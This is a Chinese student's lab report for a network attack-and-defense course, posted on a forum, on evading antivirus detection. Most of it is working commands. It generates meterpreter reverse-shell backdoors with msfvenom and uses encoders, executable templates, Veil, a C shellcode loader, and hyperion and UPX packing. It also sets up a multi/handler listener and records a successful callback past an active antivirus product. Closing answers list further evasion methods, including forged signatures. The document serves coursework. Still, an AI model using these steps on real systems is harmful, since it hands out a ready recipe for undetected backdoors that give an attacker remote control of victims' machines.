20212413 2023-2024-2 《网络与系统攻防技术》实验三实验报告

20212413贺钟剑 2024-04-03 18:06:19

20212413 2023-2024-2 《网络与系统攻防技术》实验三实验报告

目录

  • 20212413 2023-2024-2 《网络与系统攻防技术》实验三实验报告
  • 目录
  • 1.实验内容
  • 2.实验过程
  • 2.1正确使用msf编码器,veil-evasion,利用shellcode编程等免杀工具或技巧
  • 2.2 veil
  • 2.3 使用C + shellcode编程
  • 2.4 通过组合应用各种技术实现恶意代码免杀
  • 2.5 用另一电脑实测,在杀软开启的情况下,可运行并回连成功
  • 3.实验问题及解决方案
  • 4.问题回答
  • 4.学习感悟思考

1.实验内容

1.我们会用到msf编码器来编码恶意代码,然后用msfvenom生成像jar、py这样的文件。同时,我们还会用veil和加壳工具来隐藏恶意代码,让它更不容易被发现。我们还会用C语言和shellcode进行编程,来制作更高级的恶意代码。
2.我们会结合使用多种技术,让恶意代码能够不被杀毒软件识别和杀掉。
3.我们会用另一台电脑来测试这些恶意代码,在杀毒软件开启的情况下,看看这些代码是否能够成功运行并返回连接。

2.实验过程

2.1正确使用msf编码器,veil-evasion,利用shellcode编程等免杀工具或技巧

步骤1:首先将主机的病毒和威胁防护关掉,再将虚拟机的防火墙关掉,否则最后无法反弹连接。

img

img

步骤2:根据实验二,kali虚拟机生成一个后门传到主机上,使用VirusTotal、Virscan来检测后门,如图所示,VirusTotal的检出率为59/72,Virscan的检出率为27/47。

img

img

img

步骤3:使用 msfvenom --list encoders 命令查看Metasploit的编码器。

img

步骤4:使用x86/shikata_ga_nai对后门程序进行一次编码,使用命令如下:

msfvenom -p windows/x64/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.238.132 LPORT=1215 -f exe > 20212413backdoor.exe

  • 192.168.56.112为Windows反弹回连Kali的IP地址

  • -e 指定编码器,可以通过-l encoders查看所有编码器

  • -b :设置payload中需要避免的字符

再次使用VirusTotal、Virscan来检测生成的后门程序,如图所示,VirusTotal的检出率为56/72,Virscan的检出率为21/47,可以发现,仅进行一次编码对于实现免杀并没有实质性作用。

img

img

img

步骤5:通过x86/shikata_ga_nai对后门程序多次编码的方法进行免杀,使用命令如下:

msfvenom -p windows/x64/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.238.132 LPORT=1215 -f exe > 20212413backdoor.exe

  • -i 指定编码迭代的次数

再次使用VirusTotal、Virscan来检测生成的后门程序,如图所示,VirusTotal的检出率为56/72(不变),Virscan的检出率为19/47(降低),可以发现,进行十次编码对于实现免杀并没有实质性作用。

img

img

img

步骤6:接下来,我们尝试通过不同编码器组合多次编码的方法进行免杀,使用命令如下:

-msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.238.132 LPORT=1215 -f raw | msfvenom -a x64 --platform windows -e x86/shikata_ga_nai -i 5 -f raw | msfvenom -a x64 --platform windows -e x86/alpha_upper -i 5 -f raw | msfvenom -a x64 --platform windows -e x86/shikata_ga_nai -i 5 -f raw | msfvenom -a x64 --platform windows -e x86/countdown -c 5 -f exe > 20212413backdoor.exe

再次使用VirusTotal、Virscan来检测生成的后门程序,如图所示,VirusTotal的检出率为54/72,Virscan的检出率为20/47,可以发现进行混合多次编码对于实现免杀并没有实质性作用。

img

img

img

步骤7:在主机下载Process Explorer,将文件夹解压后传输至kali虚拟机上,进入kali虚拟机中的Process Explorer.exe所在目录,使用命令如下:
msfvenom -p windows/x64/meterpreter/reverse_tcp -x procexp.exe LHOST=192.168.238.132 LPORT=1215 -f exe > 20212413backdoor.exe

  • -x :使用一个可执行文件当作模板
    使用VirusTotal、Virscan来检测生成的后门程序,如图所示,VirusTotal的检出率为23/72,Virscan的检出率为9/47,可以发现模板为Process Explorer后杀毒软件检出率有所下降。

img

img

img

步骤8:生成.jar格式的文件,由于要生成jar包,所以payload我们应该使用java/shell_reverse_tcp,使用命令如下:

msfvenom -p java/shell_reverse_tcp LHOST=192.168.238.132 LPORT=1215 -f jar > 20212413backdoor.jar

使用VirusTotal、Virscan来检测生成的后门程序,如图所示,VirusTotal的检出率为32/61,Virscan的检出率为12/47,可以发现文件格式为.jar后杀毒软件检出率相比.exe格式有所下降。

img

img

img

步骤9:生成.php格式的文件,使用php/meterpreter/reverse_tcp,且文件格式应选择raw,使用命令如下:

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.238.132 LPORT=1215 -f raw > 20212413backdoor.php

使用VirusTotal、Virscan来检测生成的后门程序,如图所示,VirusTotal的检出率为24/60,Virscan的检出率为9/47,可以发现文件格式为.php后杀毒软件检出率相比.exe格式有所下降。

img

img

img

步骤10:生成.py格式的文件,使用python/meterpreter/reverse_tcp,使用命令如下:

msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.238.132 LPORT=1215 > 20212413backdoor.py

使用VirusTotal、Virscan来检测生成的后门程序,如图所示,VirusTotal的检出率为17/61,Virscan的检出率为4/47,可以发现,更改文件格式为.py后杀毒软件检出率相比.exe格式有所下降。

img

img

img

2.2 veil

步骤1:首先我们要安装veil,经实测,kali虚拟机2022/2的版本可以成功安装(现IP地址为192.168.238.132)。依次输入以下命令:

  • apt-get install pip

  • apt-get install git

  • apt-get install veil

  • veil

  • /usr/share/veil/config/setup.sh -force-silent (一路点next)

img

img

img

img

img

img

步骤2:安装好veil后,在终端中依次输入以下命令生成后门程序:

  • Veil>: use evasion # 使用evasion工具

  • Veil/Evasion>: use c/meterpreter/rev_tcp.py

  • [c/meterpreter/rev_tcp>>]: set LHOST 192.168.238.131

  • [c/meterpreter/rev_tcp>>]: set LPORT 8000

  • [c/meterpreter/rev_tcp>>]: generate

  • 20212413veil

使用VirusTotal、Virscan来检测生成的后门程序,如图所示,VirusTotal的检出率为46/72,Virscan的检出率为17/47,可以发现,更改文件格式为.py后杀毒软件检出率相比.exe格式有所下降。

img

img

img

img

img

img

2.3 使用C + shellcode编程

步骤1:首先使用metasploit生成用于反弹连接获取shell的shellcode,并以C语言格式输出,命令如下:

  • msfvenom -p windows/meterpreter/reverse tcp LHosT=192.168.238.131 LPORT=8000 -f c>20212413shellcode.c

接着使用如下命令添加主函数:

cat >>20212413shellcode.c<<EOF
int main(){
    int (*func)() = (int(*)())buf;
    func();
}
EOF

然后将生成的C源代码使用交叉编译的方法编译成Windows的可执行程序,命令如下:

  • i686-w64-mingw32-gcc 20212413shellcode.c -o 20212413shellcode.exe
交叉编译工具链的命名规则为:arch [-vendor] [-os] [-(gnu)eabi]
arch - 体系架构,如ARM,MIPS,i686
vendor - 工具链提供商
eabi - 嵌入式应用二进制接口(Embedded Application Binary Interface)

最后使用VirusTotal、Virscan来检测编译后的后门程序,如图所示,VirusTotal的检出率为42/72,Virscan的检出率为14/47,可以发现,使用C + Shellcode编程得到的程序检出率有所下降

img

img

img

img

img

2.4 通过组合应用各种技术实现恶意代码免杀

步骤1:首先使用C + Shellcode技术生成C源代码文件,在生成命令中使用编码器x86/shikata_ga_nai进行10次编码,命令如下:

  • msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.238.1 LPORT=8000 -f c > 20212413shellcode.c

使用如下命令添加主函数:

cat >>20212413shellcode.c<<EOF
int main(){
    int (*func)() = (int(*)())buf;
    func();
}
EOF

将生成的C源代码使用交叉编译的方法编译成Windows的可执行程序,命令如下:

  • i686-w64-mingw32-gcc 20212413shellcode.c -o 20212413shellcode.exe

使用hyperion给程序加上一层加密壳,命令如下:

  • wine /usr/share/windows-resources/hyperion/hyperion.exe -v 20212413shellcode.exe 20212413shellcode.hyed.exe

使用upx给程序加上一层压缩壳,命令如下:

  • upx 20212413shellcode.hyed.exe -o 20212413shellcode.upxed.exe

将生成的可执行程序传到Windows上,使用杀毒软件(金山毒霸青春版)进行扫描,结果没有报毒,如图所示:

img

img

img

img

img

img

2.5 用另一电脑实测,在杀软开启的情况下,可运行并回连成功

步骤1:先确定有没有关虚拟机的防火墙,没有关返回实验准备。

步骤2:在Kali上的终端输入命令msfconsole打开msf控制台,等待程序初始化完成后输入以下指令获取Windows的Shell:

use exploit/multi/handler                                                    # 进入监听模块
# [*] Using configured payload generic/shell_reverse_tcp
set payload windows/meterpreter/reverse_tcp                 # 设置攻击载荷为64位Windows的反弹TCP连接
# payload => windows/meterpreter/reverse_tcp
set LHOST 192.168.238.132                                           # 设置Kali的IP地址,与后门的LHOST参数保持一致
# LHOST => 192.168.238.132
set LPORT 8000                                                              # 设置端口号,与后门的LPORT参数保持一致
# LPORT => 8000
exploit
# [*] Started reverse TCP handler on 192.168.238.132:8000
msf6 exploit(multi/handler)>exploit

img

步骤3:执行主机上的后门。

步骤4:后门程序成功实现反弹连接,如图所示,使用命令net start | findstr "McAfee"查看McAfee。这里使用了McAfee提供支持的联想杀毒Plus,版本为16.0。

img

img

img

3.实验问题及解决方案

问题一:无法安装veil。
问题一的解决方案:换老版本的kali虚拟机,我选的是2022/2版本的,应该是之后更新的版本虚拟机镜像源有问题。

问题二:虚拟机和主机没有反弹连接成功。
问题二的解决方案:关闭虚拟机的防火墙,检查自己虚拟机IP地址是否发生变化。

4.问题回答

(1)杀软是如何检测出恶意代码的?
答:
1.基于特征码的检测:
杀软内置了一个病毒特征库,其中记录了各种已知病毒的特征信息,如病毒文件名、文件大小、文件的MD5值或特定的字节序列、指令模式等。
当扫描文件时,杀软会将待扫描的文件与病毒特征库进行比对,以确定文件是否包含与已知病毒相同的特征。
这种方法对于已知病毒非常有效,但需要不断更新病毒特征库以应对新出现的恶意代码。
2.实时监控:
杀软在后台运行,实时监控计算机系统中的文件活动、进程行为、网络传输等。
当发现可疑的文件操作、注册表修改或网络通信时,杀软会进行进一步的检测和拦截。
启发式恶意软件检测:
启发式检测是一种基于行为分析的方法,它并不完全依赖于已知病毒的特征。
杀软会分析程序的行为模式,如是否修改系统文件、是否进行大量的网络通信、是否尝试隐藏自身等。
如果程序的行为与恶意代码的行为模式相符,杀软会将其标记为可疑并进行进一步的处理。
沙箱技术:
某些杀软使用沙箱技术来模拟运行可疑文件,观察其在隔离环境中的行为。
通过观察文件在沙箱中的行为,杀软可以判断其是否包含恶意代码。
云安全:
现代杀软常常结合云安全技术,将扫描结果上传到云端进行比对和分析。
云端数据库可以实时更新,并提供更全面的恶意代码检测能力。
补丁管理:
恶意代码常常利用系统和应用程序的漏洞进行攻击。因此,保持系统和应用程序的补丁更新也是预防恶意代码攻击的重要手段。

(2)免杀是做什么?
答:
免杀技术的主要内容基本上是通过修改病毒、木马的内容来改变其特征码,从而躲避杀毒软件的查杀。常见的免杀技术包括修改特征码、花指令免杀以及加壳免杀等。例如,修改特征码免杀是通过修改病毒特征码来躲过杀毒软件的扫描;花指令免杀可能会用到各种指令,如jmp、call、ret的堆栈技巧,以及位置运算等;而加壳免杀则是通过加密壳来掩盖特征码,使杀毒软件难以检测。
免杀技术通常被用于恶意目的,以规避安全检测,这是不道德和非法的行为。对于普通用户来说,了解免杀技术的主要目的是为了增强网络安全意识,更好地防范恶意代码的攻击。因此,应遵守法律和道德规范,不要尝试使用或传播免杀技术。

(3)免杀的基本方法有哪些?
答:
修改特征码:
直接修改特征码的十六进制法:把特征码所对应的十六进制改成数字差1或差不多的十六进制。这种方法需要精确定位特征码所对应的十六进制,并在修改后进行测试以确保能够正常使用。
修改字符串大小写法:如果特征码所对应的内容是字符串,可以通过互换大小写来修改。但这种方法仅适用于特征码内容为字符串的情况。
等价替换法:将特征码所对应的汇编指令命令替换为功能类似的指令。这需要特征码中有可以替换的汇编指令。
指令顺序调换法:互换具有特征码的代码顺序。
指令免杀:
使用各种指令技巧,如jmp、call、ret的堆栈技巧以及位置运算等,以干扰杀毒软件的检测。
加壳免杀:
使用加密壳来掩盖特征码。加密壳可以将特征码全部掩盖,但某些常见版本的壳可能会被直接脱掉分析。
加冷门壳:使用那些特征未被分析、不能自动脱壳的冷门壳,以更好地隐藏原始代码,达到免杀效果。
其他技术:
替换资源:使用工具如ResHacker替换无用的资源(如Version等)。
加签名:使用签名伪造工具,将正常软件的签名信息加入到自己软件中。
增加节:增加节数据,随意加入无效数据,或者通过加密器/压缩器将原始代码进行加密压缩,然后组装上解密器/解压器到文件中。

4.学习感悟思考

    在这次学习过程中,我深入探索了免杀技术的实践应用,特别是正确使用msf编码器、veil-evasion等免杀工具,以及利用shellcode编程等技巧。
    首先,我学习了msf编码器的使用方法,并通过msfvenom生成了jar等不同类型的文件。这一过程不仅锻炼了我的编码技能,也让我对免杀原理有了更深刻的理解。同时,我还尝试了veil加壳工具,进一步增强了代码的隐蔽性。
    在C语言结合shellcode编程的实践中,我深刻体会到了编程的复杂性和挑战性。然而,当成功编写出能够绕过杀毒软件的代码时,那种成就感是无法言表的。
    通过组合应用这些技术,我成功实现了恶意代码的免杀。其原理主要是通过修改代码特征、增加混淆代码等方式,使杀毒软件无法准确识别。然而,与杀软共生的结果验证仍需截图记录,以确保实验结果的准确性和可靠性。
    最后,我在另一台电脑上进行了实测。在杀软开启的情况下,我的恶意代码仍能成功运行并回连。这次实验让我更加确信,只要掌握正确的技术和方法,就可以在一定程度上绕过杀毒软件的检测。
    通过这次学习,我不仅提升了技术水平,也加深了对网络安全的认识。未来,我将继续深入研究免杀技术,为网络安全事业贡献自己的力量。
...全文
53 回复 打赏 收藏 转发到动态 举报
写回复
用AI写文章
回复
切换为时间正序
请发表友善的回复…
发表回复

92

社区成员

发帖
与我相关
我的任务
社区描述
网络攻防作业
网络安全 高校
社区管理员
  • blackwall0321
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧